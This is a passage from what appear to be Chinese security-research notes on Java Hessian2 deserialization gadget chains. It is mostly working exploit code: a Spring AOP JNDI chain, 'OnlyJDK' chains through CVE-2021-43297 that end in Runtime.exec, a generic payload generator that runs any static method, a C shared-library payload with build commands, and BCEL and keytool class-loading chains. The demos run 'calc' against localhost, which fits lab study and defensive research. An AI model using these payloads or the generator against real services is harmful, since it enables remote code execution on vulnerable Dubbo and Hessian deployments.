else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}

这里再对 HotSwappableTargetSource 做一个记录算了

HotSwappableTargetSource 利用思路归纳

HotSwappableTargetSource 创建两个实例a,b,分别依次放入HashMap中,当HashMap触发putval方法时(原生反序列化、Hessian2都可),都会实现以下内容。

当代码形式如下时

1
2
3
4
5
      HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(a);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(b);

HashMap的node1->hotSwappableTargetSource1
HashMap的node2->hotSwappableTargetSource2

会执行 **b.equals(a) **

目前 b 的主流为 XString

  • XString 触发 equals 会接着触发 a 的 toString方法,目前搭配常见的 a 一般为 Rome 的 toStringBean

(唯一缺陷就是需要Spring依赖)

1
import org.springframework.aop.target.HotSwappableTargetSource;

Spring Context & AOP

PartiallyComparableAdvisorHolder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.6.10</version>
</dependency>

payload

懒得分析,以后看spring的反序列化再细究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package Spring_AOP_AND_Context;

import Tool.Reflections;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.HashMap;

public class PartiallyComparableAdvisorHolder_POC {
public static void main(String[] args) throws Exception{
String jndiUrl = "ldap://127.0.0.1:1389/lgvcm1";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);

//反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);

//反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);

//反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("koishi"));

//反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。
HashMap hashMap = Reflections.NoLocalExecuteMap(v1,v2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(hashMap);
byte[] serializedData = byteArrayOutputStream.toByteArray();
System.out.println("Hessian 序列化数据为: " + Base64.getEncoder().encodeToString(serializedData));

// Hessian 反序列化数据
// 高版本下的jndi注入需求
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedData);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
}

🚩 OnlyJDK 利用(重要)🚩

–利用任意类toString–

前情提要

以上的payload实质上都是将其他反序列化的利用链改造了而已,这里讲的内容不需要任何其他依赖即可利用。

通过tabby,可以找到两个可以直接利用toString的链子,具体为什么要这样找,看我的2022 0ctf-hessian2 onlyjdk

[0ctf-hessian2 onlyjdk ownWriteUp](R:\Competition questions\0ctf2022\ownsolve\0ctf_hessian2_solved.md)

1
match path=(m1:Method{NAME:'toString'})-[:CALL*..3]->(sink:Method{NAME:"get"}) WHERE sink.CLASSNAME =~ ".*Hashtable" return path

分别是

1
2
javax.activation.MimeTypeParameterList#toString
sun.security.pkcs.PKCS9Attributes#toString

由于这里toString 本质上利用的是 CVE-2021-43297 , 因此需要注意一下dubbo版本范围。hessian的情况下,注意看看expect方法是否被修改即可。

组件 影响版本 安全版本
Apache Dubbo 2.6.x < 2.6.12 2.6.12
Apache Dubbo 2.7.x < 2.7.15 2.7.15
Apache Dubbo 3.0.x < 3.0.5 3.0.5

然后就是几个关键类及其方法

①MethodUtils invoke

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package OnlyJDK;

import Tool.Reflections;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.lang.reflect.Method;

public class MethodUtils_invoke {
public static void main(final String[] args) throws Exception {
//Payload1();
Payload2();
}
public static void Payload1() throws Exception {
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil")
.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new
SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{
invokeMethod,
new Object(),
new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}
});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("koishi", slz);
MimeTypeParameterList ml = new MimeTypeParameterList();
Reflections.setFieldValue(ml,"parameters",uiDefaults);
Hessian2_expect.evilGenerate(ml);
}


public static void Payload2() throws Exception {
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil")
.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new
SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{
invokeMethod,
new Object(),
new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}
});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID,slz);
PKCS9Attributes pkcs9Attributes = Reflections.createWithoutConstructor(PKCS9Attributes.class);
Reflections.setFieldValue(pkcs9Attributes,"attributes",uiDefaults);
Hessian2_expect.evilGenerate(pkcs9Attributes);
}
}

分析

先讲链子,该利用链是从XString 的 CVE-2021-21346 这个链子转化而来(当时学的比较简略,这里好好跟一跟。

首先Hessian2的出发点是 CVE-2021-43297 。通过错误字节报错触发toString。(详情见Dubbo的笔记内容)

然后我们可以先选用上面发现的其中一个类:MimeTypeParameterList

MimeTypeParameterList#toString

image-20230218175403683

会去触发 this.parameters.get ,这个 parameters 便是我们设置的 UIDefaults(继承HashTable,我们也是通过这个特征能够更好的使用tabby进行挖掘利用链)。

UIDefaults#get

1
2
3
4
public Object get(Object key) {
Object value = getFromHashtable( key );
return (value != null) ? value : getFromResourceBundle(key, null);
}

跟进getFromHashtable

UIDefaults#getFromHashtable

这个方法挺长,大概称述一下进行的操作,首先通过UIDefaults获取key对应的value,判断value,如果不满足以下其一,则退出

1
2
3
value != PENDING
value instanceof ActiveValue
value instanceof LazyValue

我们设置的value是 SwingLazyValue ,显然满足第二个,继续往下走。

然后进行了一个put操作,后续就会触发我们的关键代码 value.createValue,而value我们设置的为 SwingLazyValue 对象

image-20230218180353389

SwingLazyValue#createValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);
}
} catch (Exception var5) {
return null;
}
}

处理逻辑:

首先通过 checkPackageAccess 判断类名是否正确。然后通过反射获取类赋给var2。

之后利用 getClassArray 将 this.args 参数(是一个Object数组)里面的所有类对象的类拿到。

再之后,对var2调用反射获取对应方法,方法名为this.methodName,参数类型为var3。

然后 makeAccessible 的操作等价于 setAccessible

1
2
3
4
5
6
7
8
private void makeAccessible(final AccessibleObject var1) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
var1.setAccessible(true);
return null;
}
});
}

之后返回调用内容 var6.invoke(var2, this.args);

这里就相当于实现了一次反射,而恰好这里面的内容我们均可控。我们看看 SwingLazyValue 的其中一个有意思的构造方法

1
2
3
4
5
6
7
public SwingLazyValue(String var1, String var2, Object[] var3) {
this.className = var1;
this.methodName = var2;
if (var3 != null) {
this.args = (Object[])var3.clone();
}
}

配合上面的代码,实际上触发的内容等价于下面的内容

1
var1.getClass.getMethod(var2, getClassArray(var3)).invoke(Class.forName(this.className, true, (ClassLoader)null), this.args);

也就是通过这个构造方法,第一个参数是类名,第二个是要调用的方法名,第三个是方法参数。这里就有个地方需要被我们关注到了,就是我们在使用 Invoke 方法的时候,我们的第一个参数是个Class类型的值,而一般来说反射需要的是对应类的实例对象才行,所以这里的方法调用只能去触发 static静态方法。所以直接去触发exec方法是不可行的,因此多加了一步,去调用 MethodUtils 的 invoke方法。

(因为需要第三个参数满足调用方法的参数类型,因此有了第一次的构造样子)构造如下

1
2
3
4
5
6
7
SwingLazyValue slz = new
SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{
invokeMethod,
new Object(),
new Object[]{}
});

继续看我们的这里重点讲的 MethodUtils 类的invoke方法,这里的invoke实际上被调用了两次

由于我们 SwingLazyValue 构造的是:

1
2
3
4
5
6
7
SwingLazyValue slz = new
SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{
invokeMethod,
new Object(),
new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}
});

它会去反射触发invoke方法,这是第一次。

此时的内容等价于:

1
MethodUtil.invoke(invokeMethod,new Object(),new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}})

我们看看invoke具体内容

1
2
3
4
5
try {
return bounce.invoke((Object)null, var0, var1, var2);
} catch(){
....
}

继续看 bounce.invoke ,而 bounce 为Method的类,这里就相当于触发了 Method 的 invoke 方法

可以自己继续往下跟,最终又会回到该invoke方法(我是看了的,但是苦于表达拙劣,写不清楚。。),我就简单说说结果

这个 MethodUtils 类的 invoke 方法相当于是

第一个参数为Method类型的需要使用的方法名,第二个为调用对象,第三为Object数组,数组里面的内容会根据类型自动查找合适的方法,并将其作为作为方法的参数。

因此第一次调用会调用 invokeMethod (为MethodUtil.invoke),对象为Object的实例(由于为静态方法,可以通过Object调用),第三个参数为参数值,因此通过这次之后,触发以下内容

1
MethodUtil.invoke(exec, Runtime.getRuntime(), new Object[]{"calc"})

exec为我们写好的 Runtime#exec 方法。与上面同理,通过这种调用,可以变为

1
Runtime.exec(“calc”);

最终导致命令执行

如果想获取String[]类型值的exec方法,通过上面的构造,不难想到为

1
Object[]{String[]{cmd}}

这个利用链构造上来说感觉还是比较精妙的,很难想到。

调用链

1
2
3
4
5
6
7
8
HashMap.equals
UIDefault.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
MethodUtil.invoke
MethodUtil.invoke
Runtime.getRuntime.exec

🚩部分总结-UIDefaults&SwingLazyValue执行任意静态方法

(有局限性,后面会提到)

总结为以下工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package OnlyJDK;

import Tool.Reflections;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
public class Hessian2_OnlyJDK_Tool {
public static void AnyStaticMethodExecute1(String className, String methodName, Object[] args) throws Exception {
SwingLazyValue value= new SwingLazyValue(className, methodName, args);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
Object o=Reflections.createWithoutConstructor(Class.forName("sun.security.pkcs.PKCS9Attributes"));
Reflections.setFieldValue(o,"attributes",uiDefaults);
evilGenerate(o);
}

public static void AnyStaticMethodExecute2(String className, String methodName, Object[] args) throws Exception {
SwingLazyValue value= new SwingLazyValue(className, methodName, args);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("koishi", value);
MimeTypeParameterList ml = new MimeTypeParameterList();
Reflections.setFieldValue(ml, "parameters", uiDefaults);
evilGenerate(ml);
}

public static void evilGenerate(Object o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
SerializerFactory serializerFactory1 = new SerializerFactory();
serializerFactory1.setAllowNonSerializable(true);
Reflections.setFieldValue(out, "_serializerFactory", serializerFactory1);
out.writeObject(o);
out.flushBuffer();
byte[] classBytes = byteArrayOutputStream.toByteArray();
byte[] evilByte = new byte[classBytes.length + 2];
evilByte[0] = 67;
evilByte[1] = 67;
int i = 0;
for (; i < classBytes.length; i++) {
evilByte[2 + i] = classBytes[i];
}
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((evilByte)));
hessian2Input.readObject();
}
}

②InitalContext.doLookup

由于很多时候是高版本的jdk,所以很多时候必须需要依靠Tomcat的依赖进行绕过,如果没有Tomcat的依赖,可能会打不通。

学过高版本jdni注入,以下内容是众所周知的。

1
2
JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

如果懒得进行绕过的话,可以手动关闭。本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty,当然,一般情况下项目环境铁不会有这么好的设置就是了。

但是凑巧都是静态方法,我们可以通过反序列化使其自己执行,这里就打破了需要Tomcat和Spring的指定依赖的限制。

1
2
3
java.lang.System.setProperty("java.rmi.server.useCodebaseOnly","false");
java.lang.System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
java.lang.System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

这个类的利用非常简单,本身就是一个静态方法,我们可以通过上面的总结很容易得出我们是可以去直接调用这个方法的

image-20230222211619476

于是payload显而易见

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package OnlyJDK;

public class InitialContext_doLookup {
public static void main(String[] args) throws Exception{
java.lang.System.setProperty("java.rmi.server.useCodebaseOnly","false");
java.lang.System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
java.lang.System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

// 分四步发送,每一次反序列化都会报错退出,当然如果进行修改,不对其进行反序列化也可。但是还是得分四部发送。
/*
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute1("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute1("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute1("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
*/

Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute1("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/vfylq9"});
}
}

③DumpBytecode.dumpBytecode + System.load

该利用方法由发现者本人来说,是因为环境禁用了 com.sun.org.apache.xml.internal.security.utils.JavaUtils 而该类下存在一个写文件的方法,由于它被禁了,所以作者希望寻找一个是静态方法的方法,并且具有写文件的操作,去执行写文件。(我认为是想通过写入DLL,然后使用System.load去动态加载链接库)

如果这个类没被禁的话,其实可以直接使用它去写入文件的,看看该类的对应方法执行的操作

com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename

1
2
3
4
public static void writeBytesToFilename(String filename, byte[] bytes) {
if (filename != null && bytes != null) {
try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
outputStream.write(bytes);

最终找到 jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode

image-20230222223152065

参数都是可控的,可以写后缀为.class文件,并且目录不存在的话会创建目录

可以先写个小demo测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package OnlyJDK;

import Tool.Reflections;
import jdk.nashorn.internal.codegen.DumpBytecode;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;

public class DumpBytecode_dumpBytecode_System_load {
public static void main(String[] args) throws Exception{
Object script = Reflections.createWithoutConstructor(ScriptEnvironment.class);
Object debug= Reflections.createWithoutConstructor(DebugLogger.class);
byte[] code= new byte[]{};
String classname="calc";
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute1("jdk.nashorn.internal.codegen.DumpBytecode","dumpBytecode",new Object[]{
script,
debug,
code,
classname
});
}
}

但是在使用的过程中其实能发现一个问题,在 SwingLazyValue 进行 createValue 操作时,会出’java.lang.ClassNotFoundException’异常。具体原因其实是类加载导致的问题。

image-20230222223021368

image-20230222223854166

由于在使用 forName 进行类的获取时,ClassLoad选取为空,没有获得类加载器,导致无法加载该包外的其他类

image-20230222224154420

而该 SwingLazyValue 类在 rt.jar 的包下,DumpBytecode类在 nashorn.jar 里面,所以导致加载不了,还需要再去寻找其他的类

image-20230222224404105

最后找到ProxyLazyValue.createValue

ProxyLazyValue 为 UIDefaults 的内部类,其 createValue 方法内容为

image-20230222225446664

可以很清楚看到,这里通过线程获取到了当前的类加载器,然后通过该类加载器去执行了类加载的操作。除此以外由于 Hessian 序列化的机制,ProxyLazyValue里面的 field acc 是在反序列化过程中会报错 , 所以需要将acc 反射设置为null。

我们可以写一个文件名为.class的.so文件,然后使用System.load加载(貌似这个load可以加载so文件(Linux下的程序函数库)和dll文件(动态链接库)),因为System.load不管后缀是什么都可以执行

只需要将之前的链子里面的 SwingLazyValue 给换成 UIDefaults.ProxyLazyValue 即可。然后额外多一步就是去反射修改acc字段的值。

生成恶意 so 文件

里面的__attribute__ ((__constructor__)) 是 gcc 的拓展,具体内容可以看看下面的内容

gcc扩展__attribute__((constructor))详解和在.a库中的使用方法

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__)) calc (){

system("calc");
}
1
gcc -c calc.c -o calc && gcc calc --share -o calc.so

payload

1
2
3
4
5
6
7
8
9
10
11
public static void AnyStaticMethodExecute3(String className, String methodName, Object[] args) throws Exception {
// 有局限性突破,可以加载任意静态类了
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(className, methodName, args);
// 反射修改 acc 的值为 null
Reflections.setFieldValue(proxyLazyValue, "acc", null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("koishi", proxyLazyValue);
MimeTypeParameterList ml = new MimeTypeParameterList();
Reflections.setFieldValue(ml, "parameters", uiDefaults);
evilGenerate(ml);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package OnlyJDK;

import Tool.Reflections;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DumpBytecode_dumpBytecode_System_load {
public static void main(String[] args) throws Exception {
Object script = Reflections.createWithoutConstructor(ScriptEnvironment.class);
// 向 tmp 目录下写入文件
Reflections.setFieldValue(script,"_dest_dir","/tmp/");
Object debug = Reflections.createWithoutConstructor(DebugLogger.class);
// 写入文件内容
byte[] code= Files.readAllBytes(Paths.get("./winCalc.so"));
String classname = "koishi";
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute3("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});

//System.load加载so文件,执行前将前面的内容注释掉,以为反序列化过程中会报错,不注释走不到这里
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute3("java.lang.System", "load", new Object[]{
"/tmp/koishi.class"
});
}
}

最后加载即可,**注意linux和windows生成的so文件存在区别**

还需要注意一点:System.load 方法需要传入完整的文件路径

windows 下测试用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package OnlyJDK;

import Tool.Reflections;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DumpBytecode_dumpBytecode_System_load {
public static void main(String[] args) throws Exception {
Object script = Reflections.createWithoutConstructor(ScriptEnvironment.class);
// 向 tmp 目录下写入文件
// Reflections.setFieldValue(script,"_dest_dir","/tmp/");
Reflections.setFieldValue(script,"_dest_dir","R:\\languages\\Java\\study\\Hessian2\\src\\main\\java\\OnlyJDK\\evilFiles");
Object debug = Reflections.createWithoutConstructor(DebugLogger.class);
// 写入文件内容
byte[] code= Files.readAllBytes(Paths.get("R:\\languages\\Java\\study\\Hessian2\\src\\main\\java\\OnlyJDK\\evilFiles\\winCalc.so"));
String classname = "koishi";
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute3("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});
//System.load加载so文件,执行前将前面的内容注释掉,以为反序列化过程中会报错,不注释走不到这里
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute3("java.lang.System", "load", new Object[]{
"R:\\languages\\Java\\study\\Hessian2\\src\\main\\java\\OnlyJDK\\evilFiles\\koishi.class"
});
}
}

image-20230223191542233

④JavaWrapper._mian

首先看看这个 com.sun.org.apache.bcel.internal.util.JavaWrapper 类,先看看这个 _main 方法,它满足公开且静态。

image-20230223223229206

继续跟进看其 runMain 方法

image-20230223222905078

该方法反射调用了指定 class 的”_main“方法,而该class_name 和 argv我们是可控的,我们只需要传入一个写好的_mian方法是恶意代码的类,即可执行任意命令。

然后加载类的操作是 loader.loadClass(class_name) ,而该类存在一个静态代码块,发现设置了类加载器为bcel加载器

image-20230223225520755

payload显然易见了,直接构造即可

payload

1
2
3
4
5
6
7
package OnlyJDK.evilFiles;

public class Evil_main {
public static void _main(String[] argv) throws Exception {
Runtime.getRuntime().exec("calc");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package OnlyJDK;

import OnlyJDK.evilFiles.Evil_main;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.JavaWrapper;



public class JavaWrapper_mian {
public static void main(String[] args) throws Exception{
JavaClass evil = Repository.lookupClass(Evil_main.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute1("com.sun.org.apache.bcel.internal.util.JavaWrapper","_main",new Object[]{new String[]{payload}});
}
}

⑤System.setProperty + writeGeneratedAsm + sun.security.tools.keytool.Main.main

这个操作稍微多点,首先利用漏洞通过写入 System.setProperty 设置 jfr.save.generated.asm 为 true,然后 jdk.jfr.internal.Utils.writeGeneratedAsm 将 jar 文件写入(该方法自动写入后缀为class的文件中,文件名可随意),这里就需要将恶意class文件打包成jar

首先看 jdk.jfr.internal.Utils 下的 writeGeneratedAsm 方法 (java8没这玩意,测试11以上都有,9没试过,咨询过后了解到java 8应该是有这个东西的,但是直接看不到)

想看可以去 java/8 : jdk/jfr/internal/Utils.java (yawk.at)

(我这里是 java11 的内容,后续payload都是jdk8下使用的,为了看着方便,这里放这个截图)

(后来才发现,使用0ctf当时给的版本是可用的,版本为:openjdk 8u342,该版本下存在该类)

image-20230224095800824

这里有写文件操作。但是SAVE_GENERATED 默认为无,获取不到SAVE_GENERATED,就走不到后续内容。得去通过另一个静态方法改。

VMware vCenter漏洞分析(一) - Blog (hosch3n.github.io-CVE-2021-21985)

该文章中提到了这个类的漏洞使用方法

image-20230224101636714

至此我们可以写入任意文件。(也可以利用这个写入上文提到的so文件,然后进行加载),这里我们使用另一个方式,写入一个jar包,通过jar包来执行任意命令。我们还需要去寻找一个类

sun.security.tools.keytool.Main的 main 方法,其调用了本类的run方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static void main(String[] args) throws Exception {
Main kt = new Main();
kt.run(args, System.out);
}

private void run(String[] args, PrintStream out) throws Exception {
try {
args = parseArgs(args);
if (command != null) {
doCommands(out);
}
} catch (Exception e) {
System.out.println(rb.getString("keytool.error.") + e);
if (verbose) {
e.printStackTrace(System.out);
}
if (!debug) {
System.exit(1);
} else {
throw e;
}
} finally {
printWeakWarnings(false);
for (char[] pass : passwords) {
if (pass != null) {
Arrays.fill(pass, ' ');
pass = null;
}
}

if (ksStream != null) {
ksStream.close();
}
}
}

在run方法中,又去使用了 doCommands 方法,这个doCommands方法会去加载类。方法内容比较多,本质上是去获取了一个URLClassLoader,然后通过我们可控的字符串进行一个加载,要走到这一步还需要设置几个字段值才行,但是都可控。

image-20230224171853534

通过上面的内容,我们的思路就很明显了,先 System.setProperty 设置 jfr.save.generated.asm 为 true, 然后 Utils 执行静态方法 writeGeneratedAsm 写入一个恶意 jar 包,然后通过 sun.security.tools.keytool.Main 的 main 方法,最终通过URLClassLoader 进行加载恶意类。

恶意jar

Evil.java

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
1
2
javac Evil.java
jar cf Evil.jar Evil.class

我又去研究了一下这个方法,好像就是直接写的字节数据,不用jar数据。也就是说我们直接写入class文件内容即可,这步jar貌似多余了,只执行

1
javac Evil.java

貌似就行,我这里是这样的。

或者写入jar进行读取也行,感觉有点多此一举

payload

windows测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package OnlyJDK.ByUse_toString;

import OnlyJDK.Hessian2_OnlyJDK_Tool;
import java.io.FileInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import jdk.jfr.internal.Utils;
import sun.security.tools.keytool.Main;

public class writeGeneratedAsm_keytool_Main {
public static void main(String[] args) throws Exception {
// 设置对应的属性值
System.setProperty("jfr.save.generated.asm","true");
//Hessian2_OnlyJDK_Tool.AnyStaticMethodExecute1("java.lang.System","setProperty",new String[]{"jfr.save.generated.asm","true"});

// 读取 class 中的字节
//byte[] classCode = Files.readAllBytes(Paths.get("R:\\languages\\Java\\study\\Hessian2\\Hessian2\\src\\main\\java\\OnlyJDK\\evilFiles\\Evil.class"));
